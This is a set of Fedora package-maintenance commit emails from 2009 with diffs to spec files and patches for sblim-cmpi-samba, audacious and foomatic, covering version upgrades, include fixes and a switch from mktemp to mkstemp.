---- sblim-1/sblim-cmpi-samba-0.5.2/provider/Linux_SambaShareSecurityForGlobal/Linux_SambaShareSecurityForGlobalResourceAccess.cpp_old	2007-08-27 10:19:25.000000000 +0200
-+++ sblim-1/sblim-cmpi-samba-0.5.2/provider/Linux_SambaShareSecurityForGlobal/Linux_SambaShareSecurityForGlobalResourceAccess.cpp	2009-02-17 17:40:17.000000000 +0100
+diff -up sblim-cmpi-samba-0.5.2/provider/Linux_SambaShareSecurityForGlobal/Linux_SambaShareSecurityForGlobalResourceAccess.cpp_old sblim-cmpi-samba-0.5.2/provider/Linux_SambaShareSecurityForGlobal/Linux_SambaShareSecurityForGlobalResourceAccess.cpp
+--- sblim-cmpi-samba-0.5.2/provider/Linux_SambaShareSecurityForGlobal/Linux_SambaShareSecurityForGlobalResourceAccess.cpp_old	2007-08-27 10:19:25.000000000 +0200
++++ sblim-cmpi-samba-0.5.2/provider/Linux_SambaShareSecurityForGlobal/Linux_SambaShareSecurityForGlobalResourceAccess.cpp	2009-10-22 15:48:49.000000000 +0200
 @@ -24,6 +24,8 @@
  // 
  #include "Linux_SambaShareSecurityForGlobalResourceAccess.h"
@@ -156,9 +161,9 @@ diff -up sblim-1/sblim-cmpi-samba-0.5.2/
  #include "smt_smb_ra_support.h"
  #include "smt_smb_defaultvalues.h"
  
-diff -up sblim-1/sblim-cmpi-samba-0.5.2/provider/Linux_SambaShareSecurityForShare/Linux_SambaShareSecurityForShareResourceAccess.cpp_old sblim-1/sblim-cmpi-samba-0.5.2/provider/Linux_SambaShareSecurityForShare/Linux_SambaShareSecurityForShareResourceAccess.cpp
---- sblim-1/sblim-cmpi-samba-0.5.2/provider/Linux_SambaShareSecurityForShare/Linux_SambaShareSecurityForShareResourceAccess.cpp_old	2007-08-27 10:19:25.000000000 +0200
-+++ sblim-1/sblim-cmpi-samba-0.5.2/provider/Linux_SambaShareSecurityForShare/Linux_SambaShareSecurityForShareResourceAccess.cpp	2009-02-17 17:48:56.000000000 +0100
+diff -up sblim-cmpi-samba-0.5.2/provider/Linux_SambaShareSecurityForShare/Linux_SambaShareSecurityForShareResourceAccess.cpp_old sblim-cmpi-samba-0.5.2/provider/Linux_SambaShareSecurityForShare/Linux_SambaShareSecurityForShareResourceAccess.cpp
+--- sblim-cmpi-samba-0.5.2/provider/Linux_SambaShareSecurityForShare/Linux_SambaShareSecurityForShareResourceAccess.cpp_old	2007-08-27 10:19:25.000000000 +0200
++++ sblim-cmpi-samba-0.5.2/provider/Linux_SambaShareSecurityForShare/Linux_SambaShareSecurityForShareResourceAccess.cpp	2009-10-22 15:48:49.000000000 +0200
 @@ -24,6 +24,8 @@
  // 
  #include "Linux_SambaShareSecurityForShareResourceAccess.h"
@@ -168,31 +173,33 @@ diff -up sblim-1/sblim-cmpi-samba-0.5.2/
  #include "smt_smb_ra_support.h"
  #include "smt_smb_defaultvalues.h"
  
-diff -up sblim-1/sblim-cmpi-samba-0.5.2/provider/Linux_SambaShareSecurityOptions/Linux_SambaShareSecurityOptionsResourceAccess.cpp_old sblim-1/sblim-cmpi-samba-0.5.2/provider/Linux_SambaShareSecurityOptions/Linux_SambaShareSecurityOptionsResourceAccess.cpp
---- sblim-1/sblim-cmpi-samba-0.5.2/provider/Linux_SambaShareSecurityOptions/Linux_SambaShareSecurityOptionsResourceAccess.cpp_old	2007-08-27 10:19:25.000000000 +0200
-+++ sblim-1/sblim-cmpi-samba-0.5.2/provider/Linux_SambaShareSecurityOptions/Linux_SambaShareSecurityOptionsResourceAccess.cpp	2009-02-17 16:21:53.000000000 +0100
-@@ -23,6 +23,7 @@
+diff -up sblim-cmpi-samba-0.5.2/provider/Linux_SambaShareSecurityOptions/Linux_SambaShareSecurityOptionsResourceAccess.cpp_old sblim-cmpi-samba-0.5.2/provider/Linux_SambaShareSecurityOptions/Linux_SambaShareSecurityOptionsResourceAccess.cpp
+--- sblim-cmpi-samba-0.5.2/provider/Linux_SambaShareSecurityOptions/Linux_SambaShareSecurityOptionsResourceAccess.cpp_old	2007-08-27 10:19:25.000000000 +0200
++++ sblim-cmpi-samba-0.5.2/provider/Linux_SambaShareSecurityOptions/Linux_SambaShareSecurityOptionsResourceAccess.cpp	2009-10-22 16:36:58.000000000 +0200
+@@ -23,6 +23,8 @@
  //
  // 
  #include "Linux_SambaShareSecurityOptionsResourceAccess.h"
 +#include <cstdlib>
++#include <cstdio>
  
  #include "smt_smb_ra_support.h"
  #include "smt_smb_defaultvalues.h"
-diff -up sblim-1/sblim-cmpi-samba-0.5.2/provider/Linux_SambaUser/Linux_SambaUserResourceAccess.cpp_old sblim-1/sblim-cmpi-samba-0.5.2/provider/Linux_SambaUser/Linux_SambaUserResourceAccess.cpp
---- sblim-1/sblim-cmpi-samba-0.5.2/provider/Linux_SambaUser/Linux_SambaUserResourceAccess.cpp_old	2007-08-27 10:19:26.000000000 +0200
-+++ sblim-1/sblim-cmpi-samba-0.5.2/provider/Linux_SambaUser/Linux_SambaUserResourceAccess.cpp	2009-02-17 16:30:26.000000000 +0100
-@@ -25,6 +25,7 @@
+diff -up sblim-cmpi-samba-0.5.2/provider/Linux_SambaUser/Linux_SambaUserResourceAccess.cpp_old sblim-cmpi-samba-0.5.2/provider/Linux_SambaUser/Linux_SambaUserResourceAccess.cpp
+--- sblim-cmpi-samba-0.5.2/provider/Linux_SambaUser/Linux_SambaUserResourceAccess.cpp_old	2007-08-27 10:19:26.000000000 +0200
++++ sblim-cmpi-samba-0.5.2/provider/Linux_SambaUser/Linux_SambaUserResourceAccess.cpp	2009-10-22 16:56:30.000000000 +0200
+@@ -25,6 +25,8 @@
  #include "Linux_SambaUserResourceAccess.h"
  
  #include <errno.h>
 +#include <cstdlib>
++#include <cstdio>
  
  #include "smt_smb_ra_support.h"
  #include "smt_smb_defaultvalues.h"
-diff -up sblim-1/sblim-cmpi-samba-0.5.2/provider/support/smt_smb_array.cpp_old sblim-1/sblim-cmpi-samba-0.5.2/provider/support/smt_smb_array.cpp
---- sblim-1/sblim-cmpi-samba-0.5.2/provider/support/smt_smb_array.cpp_old	2006-07-22 16:34:26.000000000 +0200
-+++ sblim-1/sblim-cmpi-samba-0.5.2/provider/support/smt_smb_array.cpp	2009-02-17 15:53:00.000000000 +0100
+diff -up sblim-cmpi-samba-0.5.2/provider/support/smt_smb_array.cpp_old sblim-cmpi-samba-0.5.2/provider/support/smt_smb_array.cpp
+--- sblim-cmpi-samba-0.5.2/provider/support/smt_smb_array.cpp_old	2006-07-22 16:34:26.000000000 +0200
++++ sblim-cmpi-samba-0.5.2/provider/support/smt_smb_array.cpp	2009-10-22 15:48:49.000000000 +0200
 @@ -25,6 +25,9 @@
  #include <string>
  #include <list>


Index: sblim-cmpi-samba.spec
===================================================================
RCS file: /cvs/extras/rpms/sblim-cmpi-samba/devel/sblim-cmpi-samba.spec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sblim-cmpi-samba.spec	22 Oct 2009 12:59:42 -0000	1.1
+++ sblim-cmpi-samba.spec	22 Oct 2009 15:41:04 -0000	1.2
@@ -3,7 +3,7 @@
 
 Name:           sblim-cmpi-samba
 Version:        0.5.2
-Release:        1%{?dist}
+Release:        2%{?dist}
 Summary:        SBLIM WBEM-SMT Samba
 
 Group:          Applications/System
@@ -57,7 +57,7 @@ SBLIM WBEM-SMT Samba Provider Testcase F
 %setup -q
 %patch0 -p0 -b .model
 %patch1 -p0 -b .1769647-release
-%patch2 -p2 -b .include
+%patch2 -p1 -b .include
 
 %build
 %ifarch s390 s390x ppc ppc64
@@ -94,8 +94,6 @@ rm -rf $RPM_BUILD_ROOT
 %{_libdir}/libRaToolsSmb.so.*
 %{_libdir}/libLinux_SmbGeneralProviderBasic.so.*
 %{_libdir}/libIBM_SmbProviderTooling.so.*
-%exclude %{_datadir}/%{name}/*.pyc
-%exclude %{_datadir}/%{name}/*.pyo
 %config(noreplace) %{_sysconfdir}/smt_smb*.conf
 %{_libdir}/cmpi/libcmpiLinux_Samba*.so
 %{_libdir}/cmpi/libcmpiCIM_ConcreteJob.so
@@ -152,5 +150,9 @@ if [ $1 -eq 0 ]; then
 fi
 
 %changelog
+* Thu Oct 22 2009 Vitezslav Crhonek <vcrhonek at redhat.com> - 0.5.2-2
+- Update "include" patch
+- Remove *.pyc and *.pyo exclude from files
+
 * Thu Oct 15 2009 Vitezslav Crhonek <vcrhonek at redhat.com> - 0.5.2-1
 - Initial support



From mschwendt at fedoraproject.org  Thu Oct 22 15:41:27 2009
From: mschwendt at fedoraproject.org (Michael Schwendt)
Date: Thu, 22 Oct 2009 15:41:27 +0000 (UTC)
Subject: rpms/audacious/devel .cvsignore, 1.15, 1.16 README, 1.2,
	1.3 audacious.spec, 1.54, 1.55 sources, 1.15,
	1.16 audacious-2.1-pluginprio.patch, 1.1, NONE
Message-ID: <20091022154127.A573011C02A2@cvs1.fedora.phx.redhat.com>

Author: mschwendt

Update of /cvs/pkgs/rpms/audacious/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv11320

Modified Files:
	.cvsignore README audacious.spec sources 
Removed Files:
	audacious-2.1-pluginprio.patch 
Log Message:
* Thu Oct 22 2009 Michael Schwendt <mschwendt at fedoraproject.org> - 2.2-0.1.beta1
- Upgrade to 2.2-beta1



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/audacious/devel/.cvsignore,v
retrieving revision 1.15
retrieving revision 1.16
diff -u -p -r1.15 -r1.16
--- .cvsignore	14 Jul 2009 17:09:26 -0000	1.15
+++ .cvsignore	22 Oct 2009 15:41:25 -0000	1.16
@@ -1 +1 @@
-audacious-2.1.tgz
+audacious-2.2-beta1.tgz


Index: README
===================================================================
RCS file: /cvs/pkgs/rpms/audacious/devel/README,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- README	18 Oct 2009 14:52:18 -0000	1.2
+++ README	22 Oct 2009 15:41:25 -0000	1.3
@@ -1,14 +0,0 @@
-Audacious 2.2-alpha2 defaults to alsa-ng output plugin, which fails
-to work with PulseAudio (F-11). Switching to the only other choice, the
-experimental alsa-gapless plugin, doesn't work either. There is no
-pulseaudio plugin anymore.
-
-$ md5sum audacious-2.2-alpha2.tgz 
-c922d26dc5c746a1bacfef9149b5e4af  audacious-2.2-alpha2.tgz
-
-[...]
-
-$ md5sum audacious-2.2-alpha1.tgz 
-e5f0f4c69e9dc95d5882ea35feefea96  audacious-2.2-alpha1.tgz
-
-only minor spec changes necessary (added header directories).


Index: audacious.spec
===================================================================
RCS file: /cvs/pkgs/rpms/audacious/devel/audacious.spec,v
retrieving revision 1.54
retrieving revision 1.55
diff -u -p -r1.54 -r1.55
--- audacious.spec	21 Sep 2009 10:41:16 -0000	1.54
+++ audacious.spec	22 Oct 2009 15:41:26 -0000	1.55
@@ -1,21 +1,18 @@
 # Minimum audacious/audacious-plugins version in inter-package
 # dependencies.
-# We enforce 2.1 as 2.0.1 or older is insufficient.
-%define aud_ver 2.1
+# We enforce 2.2 as 2.1 or older is insufficient.
+%define aud_ver 2.2
 
 Name: audacious
-Version: 2.1
-Release: 5%{?dist}
+Version: 2.2
+Release: 0.1.beta1%{?dist}
 
 License: GPLv3
 Summary: GTK2 based media player similar to XMMS
 URL: http://audacious-media-player.org/
 Group: Applications/Multimedia
 
-Source0: http://distfiles.atheme.org/audacious-%{version}.tgz
-
-# will be obsolete in > 2.1
-Patch0: audacious-2.1-pluginprio.patch
+Source0: http://distfiles.atheme.org/audacious-%{version}-beta1.tgz
 
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
@@ -69,8 +66,7 @@ Files needed when building software for 
 
 
 %prep
-%setup -q -n %{name}-%{version}
-%patch0 -p1 -b .pluginprio
+%setup -q -n %{name}-%{version}-beta1
 sed -i '\,^.SILENT:,d' buildsys.mk.in
 
 %build
@@ -105,7 +101,7 @@ desktop-file-install  \
 mkdir -p $RPM_BUILD_ROOT%{_datadir}/icons/hicolor/48x48/apps
 mv $RPM_BUILD_ROOT%{_datadir}/pixmaps/audacious2.png $RPM_BUILD_ROOT%{_datadir}/icons/hicolor/48x48/apps
 
-# 2.2-alpha1 will install these compatibility softlinks
+# fix for: tarball installs softlinks that point into buildroot
 cd $RPM_BUILD_ROOT%{_bindir}
 rm -f audacious audtool
 ln -s audacious2 audacious
@@ -156,12 +152,25 @@ gtk-update-icon-cache %{_datadir}/icons/
 %defattr(-,root,root,-)
 %{_includedir}/audacious/
 %{_includedir}/libaudcore/
+%{_includedir}/libaudgui/
+%{_includedir}/libaudtag/
 %{_includedir}/libSAD/
 %{_libdir}/*.so
 %{_libdir}/pkgconfig/*.pc
 
 
 %changelog
+* Thu Oct 22 2009 Michael Schwendt <mschwendt at fedoraproject.org> - 2.2-0.1.beta1
+- Upgrade to 2.2-beta1
+
+* Sun Oct 18 2009 Michael Schwendt <mschwendt at fedoraproject.org> - 2.2-0.1.alpha2
+- Upgrade to 2.2-alpha2
+
+* Sun Sep 20 2009 Michael Schwendt <mschwendt at fedoraproject.org> - 2.2-0.1.alpha1
+- Upgrade to 2.2-alpha1 (primarly for alsa-gapless output plugin).
+- /usr/bin/audacious and /usr/bin/audtool compatibility links are now
+  provided officially by upstream.
+
 * Sun Sep 20 2009 Michael Schwendt <mschwendt at fedoraproject.org> - 2.1-5
 - /usr/bin/audacious and /usr/bin/audtool compatibility links are
   provided officially by upstream within 2.2-alpha1.


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/audacious/devel/sources,v
retrieving revision 1.15
retrieving revision 1.16
diff -u -p -r1.15 -r1.16
--- sources	14 Jul 2009 17:09:26 -0000	1.15
+++ sources	22 Oct 2009 15:41:26 -0000	1.16
@@ -1 +1 @@
-03ab6a062e5909214841f90f767f1147  audacious-2.1.tgz
+fbb651b1443238b459d047eae6c16270  audacious-2.2-beta1.tgz


--- audacious-2.1-pluginprio.patch DELETED ---



From twaugh at fedoraproject.org  Thu Oct 22 15:43:59 2009
From: twaugh at fedoraproject.org (Tim Waugh)
Date: Thu, 22 Oct 2009 15:43:59 +0000 (UTC)
Subject: rpms/foomatic/F-10 foomatic-mkstemp.patch, NONE,
	1.1 foomatic-filters-libdir.patch, 1.6, 1.7 foomatic.spec, 1.210,
	1.211 sources, 1.71, 1.72 foomatic-2.0.2-fontpath.patch, 1.4,
	NONE foomatic-sigpipe.patch, 1.1, NONE
Message-ID: <20091022154359.5362011C008C@cvs1.fedora.phx.redhat.com>

Author: twaugh

Update of /cvs/pkgs/rpms/foomatic/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv12623

Modified Files:
	foomatic-filters-libdir.patch foomatic.spec sources 
Added Files:
	foomatic-mkstemp.patch 
Removed Files:
	foomatic-2.0.2-fontpath.patch foomatic-sigpipe.patch 
Log Message:
Sync to F-11.

foomatic-mkstemp.patch:
 pdf.c |    5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

--- NEW FILE foomatic-mkstemp.patch ---
diff -up foomatic-filters-4.0.2/pdf.c.mkstemp foomatic-filters-4.0.2/pdf.c
--- foomatic-filters-4.0.2/pdf.c.mkstemp	2009-07-02 15:52:38.960401425 +0100
+++ foomatic-filters-4.0.2/pdf.c	2009-07-02 16:24:39.966400563 +0100
@@ -157,6 +157,7 @@ static int pdf_extract_pages(char filena
                              int last)
 {
     void *minst;
+    int fd;
     char filename_arg[PATH_MAX], first_arg[50], last_arg[50];
     const char *gs_args[] = { "", "-q", "-dNOPAUSE", "-dBATCH",
         "-dPARANOIDSAFER", "-sDEVICE=pdfwrite", filename_arg, first_arg,
@@ -165,10 +166,10 @@ static int pdf_extract_pages(char filena
     _log("Extracting pages %d through %d\n", first, last);
 
     snprintf(filename, PATH_MAX, "%s/foomatic-XXXXXX", temp_dir());
-    mktemp(filename);
-    if (!filename[0])
+    if ((fd = mkstemp(filename)) == -1)
         return 0;
 
+    close (fd);
     if (gsapi_new_instance(&minst, NULL) < 0)
     {
         _log("Could not create ghostscript instance\n");

foomatic-filters-libdir.patch:
 configure.ac |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

Index: foomatic-filters-libdir.patch
===================================================================
RCS file: /cvs/pkgs/rpms/foomatic/F-10/foomatic-filters-libdir.patch,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- foomatic-filters-libdir.patch	2 Sep 2008 12:18:15 -0000	1.6
+++ foomatic-filters-libdir.patch	22 Oct 2009 15:43:58 -0000	1.7
@@ -1,29 +1,12 @@
-diff -up foomatic-filters-3.0-20080710/configure.ac.libdir foomatic-filters-3.0-20080710/configure.ac
---- foomatic-filters-3.0-20080710/configure.ac.libdir	2008-07-10 08:20:16.000000000 +0100
-+++ foomatic-filters-3.0-20080710/configure.ac	2008-09-02 13:13:36.000000000 +0100
-@@ -13,7 +13,7 @@ AC_PROG_LN_S
- AC_PROG_MAKE_SET
+diff -up foomatic-filters-4.0.0/configure.ac.libdir foomatic-filters-4.0.0/configure.ac
+--- foomatic-filters-4.0.0/configure.ac.libdir	2009-01-14 19:23:15.000000000 +0000
++++ foomatic-filters-4.0.0/configure.ac	2009-01-15 10:57:55.000000000 +0000
+@@ -43,7 +43,7 @@ AC_CHECK_FUNCS([dup2 getcwd gethostname 
+ 
  
  ETCSEARCHPATH=${prefix}/etc:/usr/etc:/usr/local/etc
--LIBSEARCHPATH=${prefix}/lib:/usr/lib:/usr/local/lib:${prefix}/libexec:/usr/libexec:/usr/local/libexec
-+LIBSEARCHPATH=$libdir:/usr/local/lib:${prefix}/libexec:/usr/libexec:/usr/local/libexec
+-LIBSEARCHPATH=${prefix}/lib:${prefix}/lib64:/usr/lib:/usr/lib64:/usr/local/lib:${prefix}/libexec:/usr/libexec:/usr/local/libexec
++LIBSEARCHPATH=${libdir}:/usr/lib:/usr/lib64:/usr/local/lib:${prefix}/libexec:/usr/libexec:/usr/local/libexec
  
- dnl Get the operating system and version number...
  uname=`uname`
-@@ -47,13 +47,13 @@ dnl Check for /usr/lib/cups/backend
- AC_PATH_DIR(CUPS_BACKENDS,cups/backend,/usr/lib/cups/backend,$LIBSEARCHPATH)
- 
- dnl Check for /usr/lib/ppr
--AC_PATH_DIR(PPR,ppr,/usr/lib/ppr,$LIBSEARCHPATH)
-+AC_PATH_DIR(PPR,ppr,$libdir/ppr,$LIBSEARCHPATH)
- 
- dnl Check for /usr/lib/ppr/interfaces
--AC_PATH_DIR(PPR_INTERFACES,ppr/interfaces,/usr/lib/ppr/interfaces,$LIBSEARCHPATH)
-+AC_PATH_DIR(PPR_INTERFACES,ppr/interfaces,$libdir/ppr/interfaces,$LIBSEARCHPATH)
- 
- dnl Check for /usr/lib/ppr/lib
--AC_PATH_DIR(PPR_LIB,ppr/lib,/usr/lib/ppr/lib,$LIBSEARCHPATH)
-+AC_PATH_DIR(PPR_LIB,ppr/lib,$libdir/ppr/lib,$LIBSEARCHPATH)
- 
- AC_ARG_ENABLE(file-converter-check, [  --enable-file-converter-check  check whether a file converter is installed [default=yes]],
- [if eval "test x${enableval} = xno"; then
+ uversion=`uname -r | sed -e '1,$s/[[^0-9]]//g'`


Index: foomatic.spec
===================================================================
RCS file: /cvs/pkgs/rpms/foomatic/F-10/foomatic.spec,v
retrieving revision 1.210
retrieving revision 1.211
diff -u -p -r1.210 -r1.211
--- foomatic.spec	10 Feb 2009 17:15:09 -0000	1.210
+++ foomatic.spec	22 Oct 2009 15:43:59 -0000	1.211
@@ -1,12 +1,13 @@
-%define dbver 20090110
-%define enginever 3.0-20090110
-%define filtersver 20090110
-%define hpijsver 20090110
+%define dbver_rel 4.0
+%define dbver_snap 20090819
+%define enginever 4.0.3
+%define filtersver 4.0.3
+%define hpijsver 20090701
 
 Summary: Database of printers and printer drivers
 Name:		foomatic
-Version:	3.0.2
-Release:    71%{?dist}
+Version:	%{enginever}
+Release:    1%{?dist}
 License:	GPLv2+
 Group: System Environment/Libraries
 
@@ -16,24 +17,29 @@ Group: System Environment/Libraries
 # tar cjf foomatic-1.9-$NOW.tar.bz2 foomatic
 Source0: http://www.openprinting.org/download/foomatic/foomatic-db-engine-%{enginever}.tar.gz
 
-Source1: http://www.linuxprinting.org/download/foomatic/foomatic-filters-3.0-%{filtersver}.tar.gz
-Source2: http://www.linuxprinting.org/download/foomatic/foomatic-db-3.0-%{dbver}.tar.gz
+Source1: http://www.linuxprinting.org/download/foomatic/foomatic-filters-%{filtersver}.tar.gz
+Source2: http://www.linuxprinting.org/download/foomatic/foomatic-db-%{dbver_rel}-%{dbver_snap}.tar.gz
 Source3: http://www.linuxprinting.org/download/foomatic/foomatic-db-hpijs-%{hpijsver}.tar.gz
 
+## PATCHES FOR FOOMATIC-FILTERS (PATCHES 1 TO 100)
+
 # Use libdir.
 Patch1: foomatic-filters-libdir.patch
-Patch2: foomatic-db-engine-libdir.patch
 
-# Fix up margins for Samsung ML-2010 (bug #481211).
-Patch3: foomatic-margins.patch
+# Use mkstemp, not mktemp.
+Patch2: foomatic-mkstemp.patch
+
+## PATCHES FOR FOOMATIC-DB-ENGINE (PATCHES 101 TO 200)
 
-# Set GS_FONTPATH in gs wrapper (bug #81410).
-Patch5: foomatic-2.0.2-fontpath.patch
+# Use libdir.
+Patch101: foomatic-db-engine-libdir.patch
 
 # Handle non-UTF-8 encodings in imported PPD files.
-Patch15: foomatic-bad-utf8.patch
+Patch102: foomatic-bad-utf8.patch
+
+## PATCHES FOR FOOMATIC-DB-HPIJS (PATCHES 201 TO 300)
 
-Patch18: foomatic-sigpipe.patch
+## PATCHES FOR FOOMATIC-DB (PATCHES 301 TO 400)
 
 Url:		http://www.linuxprinting.org
 BuildRequires:	perl >= 3:5.8.1
@@ -58,6 +64,11 @@ Conflicts: hpijs < 1.5
 # We don't use the printconf hooks now, so require that they are gone.
 Conflicts: system-config-printer < 0.7.0
 
+# The foomatic oki8w driver works for printers that this old package
+# use to drive:
+Obsoletes: oki4linux < 2.1gst-5
+# Note: no "Provides:" as it was not a dependency of any package.
+
 %description
 Foomatic is a comprehensive, spooler-independent database of printers,
 printer drivers, and driver descriptions. It contains utilities to
@@ -75,26 +86,21 @@ The site http://www.linuxprinting.org/ i
 %prep
 %setup -q -c -a 1 -a 2 -a 3
 
-pushd foomatic-filters-3.0-%{filtersver}
+pushd foomatic-filters-%{filtersver}
 %patch1 -p1 -b .libdir
-%patch5 -p1 -b .fontpath
-%patch18 -p1 -b .sigpipe
-./make_configure
+%patch2 -p1 -b .mkstemp
 popd
 
 pushd foomatic-db-engine-%{enginever}
 chmod a+x mkinstalldirs
-%patch2 -p1 -b .libdir
-%patch15 -p1
-./make_configure
+%patch101 -p1 -b .libdir
+%patch102 -p1
 popd
 
 pushd foomatic-db-hpijs-%{hpijsver}
 popd
 
-pushd foomatic-db-%{dbver}
-%patch3 -p1 -b .margins
-
+pushd foomatic-db-%{dbver_snap}
 cd db/source
 
 # For gutenprint printers, use gutenprint-ijs-simplified.5.2.
@@ -102,7 +108,8 @@ perl -pi -e 's,>gutenprint<,>gutenprint-
 
 # Remove references to foo2zjs, foo2oak, foo2hp and foo2qpdl (bug #208851).
 # Also foo2lava, foo2kyo, foo2xqx (bug #438319).
-for x in zjs oak hp qpdl lava kyo xqx
+# Also foo2slx and foo2hiperc (bug #518267).
+for x in zjs oak hp qpdl lava kyo xqx slx hiperc
 do
   find printer -name '*.xml' |xargs grep -l "<driver>foo2${x}"|xargs rm -vf
   rm -f driver/foo2${x}.xml opt/foo2${x}-*
@@ -125,7 +132,7 @@ export CUPS_BACKENDS=/usr/lib/cups/backe
 export CUPS_FILTERS=/usr/lib/cups/filter    # /usr/lib NOT libdir
 export CUPS_PPDS=%{_datadir}/cups/model
 
-pushd foomatic-filters-3.0-%{filtersver}
+pushd foomatic-filters-%{filtersver}
 %configure
 make PREFIX=%{_prefix} CFLAGS="$RPM_OPT_FLAGS"
 popd
@@ -135,20 +142,20 @@ pushd foomatic-db-engine-%{enginever}
 make PREFIX=%{_prefix} CFLAGS="$RPM_OPT_FLAGS"
 popd
 
-pushd foomatic-db-%{dbver}
+pushd foomatic-db-%{dbver_snap}
 %configure
 make PREFIX=%{_prefix} CFLAGS="$RPM_OPT_FLAGS"
 popd
 
 pushd foomatic-db-hpijs-%{hpijsver}
 %configure
-make PREFIX=%{_prefix} CFLAGS="$RPM_OPT_FLAGS"
+make PREFIX=%{_prefix} CFLAGS="$RPM_OPTFLAGS"
 popd
 
 %install
 rm -rf $RPM_BUILD_ROOT
 
-pushd foomatic-filters-3.0-%{filtersver}
+pushd foomatic-filters-%{filtersver}
 eval `perl '-V:installvendorlib' '-V:installvendorarch'`
 mkdir -p $RPM_BUILD_ROOT/$installvendorlib
 export INSTALLSITELIB=$RPM_BUILD_ROOT/$installvendorlib
@@ -156,7 +163,7 @@ export INSTALLSITEARCH=$RPM_BUILD_ROOT/$
 make	DESTDIR=%buildroot PREFIX=%{_prefix} \
 	INSTALLSITELIB=$RPM_BUILD_ROOT/$installvendorlib \
 	INSTALLSITEARCH=$RPM_BUILD_ROOT/$installvendorarch \
-	install
+	install-main install-cups
 popd
 
 pushd foomatic-db-engine-%{enginever}
@@ -166,7 +173,7 @@ make	DESTDIR=%buildroot PREFIX=%{_prefix
 	install
 popd
 
-pushd foomatic-db-%{dbver}
+pushd foomatic-db-%{dbver_snap}
 make	DESTDIR=%buildroot PREFIX=%{_prefix} \
 	INSTALLSITELIB=$RPM_BUILD_ROOT/$installvendorlib \
 	INSTALLSITEARCH=$RPM_BUILD_ROOT/$installvendorarch \
@@ -211,6 +218,9 @@ rm -rf	$RPM_BUILD_ROOT%{_libdir}/perl5/s
 	$RPM_BUILD_ROOT%{_libdir}/ppr \
 	$RPM_BUILD_ROOT%{_sysconfdir}/foomatic/filter.conf.sample
 find $RPM_BUILD_ROOT -name .packlist -o -name '*.xml.*' | xargs rm -f
+rm -f	$RPM_BUILD_ROOT%{_datadir}/foomatic/db/source/PPD/Kyocera/*.txt \
+	$RPM_BUILD_ROOT%{_datadir}/foomatic/db/source/PPD/Kyocera/*.htm \
+	$RPM_BUILD_ROOT%{_datadir}/cups/model/3-distribution
 
 %post
 /bin/rm -f /var/cache/foomatic/*
@@ -221,7 +231,6 @@ rm -fr %buildroot $RPM_BUILD_DIR/%{name}
 
 %files
 %defattr(-,root,root)
-%doc --parents */README */USAGE */ChangeLog
 %dir %{_sysconfdir}/foomatic
 %config(noreplace) %{_sysconfdir}/foomatic/filter.conf
 %config(noreplace) %{_sysconfdir}/foomatic/defaultspooler
@@ -236,8 +245,44 @@ rm -fr %buildroot $RPM_BUILD_DIR/%{name}
 %{_var}/cache/foomatic
 
 %changelog
-* Tue Feb 10 2009 Tim Waugh <twaugh at redhat.com> 3.0.2-71
-- Fix up margins for Samsung ML-2010 (bug #481211).
+* Tue Sep  1 2009 Tim Waugh <twaugh at redhat.com> 4.0.3-1
+- 4.0.3.
+
+* Mon Aug 24 2009 Tim Waugh <twaugh at redhat.com> 4.0.2-7
+- Restored db-hpijs.
+
+* Fri Aug 21 2009 Tim Waugh <twaugh at redhat.com> 4.0.2-6
+- Updated to foomatic-db-4.0-20090819.  Removed db-hpijs.
+
+* Thu Aug 20 2009 Tim Waugh <twaugh at redhat.com> 4.0.2-5
+- Removed references to foo2slx and foo2hiperc (bug #518267).
+- Use stcolor driver for Epson Stylus Color 200 (bug #513676).
+- Don't ship 3-distribution symlink as CUPS already searches
+  /usr/share/ppd (bug #514244).
+- Remove non-PPD files from PPD directory (bug #514242).
+
+* Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 4.0.2-4
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
+* Thu Jul  2 2009 Tim Waugh <twaugh at redhat.com> 4.0.2-3
+- Removed '-O0' compiler option for foomatic-filters, which had been
+  used for debugging purposes.
+
+* Thu Jul  2 2009 Tim Waugh <twaugh at redhat.com> 4.0.2-1
+- Updated db-engine to 4.0.2 (bug #503188).
+- Updated foomatic-filters to 4.0.2 (bug #496521).
+- Updated db-hpijs to 20090701.
+- Updated db to 4.0-20090702.
+- This package obsoletes oki4linux (bug #491489).
+- Don't ship ChangeLog/README/USAGE for each of the 4 packages as it
+  comes to more than 1MB (bug #492449).
+- Don't use mktemp in foomatic-rip.
+
+* Tue Feb 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 4.0.0-2
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_11_Mass_Rebuild
+
+* Thu Jan 15 2009 Tim Waugh <twaugh at redhat.com> 4.0.0-1
+- 4.0.0.
 
 * Mon Jan 12 2009 Tim Waugh <twaugh at redhat.com> 3.0.2-70
 - Major gutenprint version is 5.2.


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/foomatic/F-10/sources,v
retrieving revision 1.71
retrieving revision 1.72
diff -u -p -r1.71 -r1.72
--- sources	15 Jan 2009 09:56:30 -0000	1.71
+++ sources	22 Oct 2009 15:43:59 -0000	1.72
@@ -1,4 +1,4 @@
-cfd3335798141fa5892693b39c71f71c  foomatic-db-engine-3.0-20090110.tar.gz
-8948e38765cb108221cfb3d1c9af0dd0  foomatic-db-3.0-20090110.tar.gz
-aa6b0fd89f33fcef91a3a7081b44fc36  foomatic-db-hpijs-20090110.tar.gz
-0d8702e00187a54d5cfd4cdfbab682e1  foomatic-filters-3.0-20090110.tar.gz
+2bc452f3bf81c83f8d008c95167f7f8b  foomatic-db-hpijs-20090701.tar.gz
+b48520c72a3690b35bb93585fd2e632a  foomatic-db-4.0-20090819.tar.gz
+fdb02175cc857f63bb06b25ac3b1658b  foomatic-db-engine-4.0.3.tar.gz
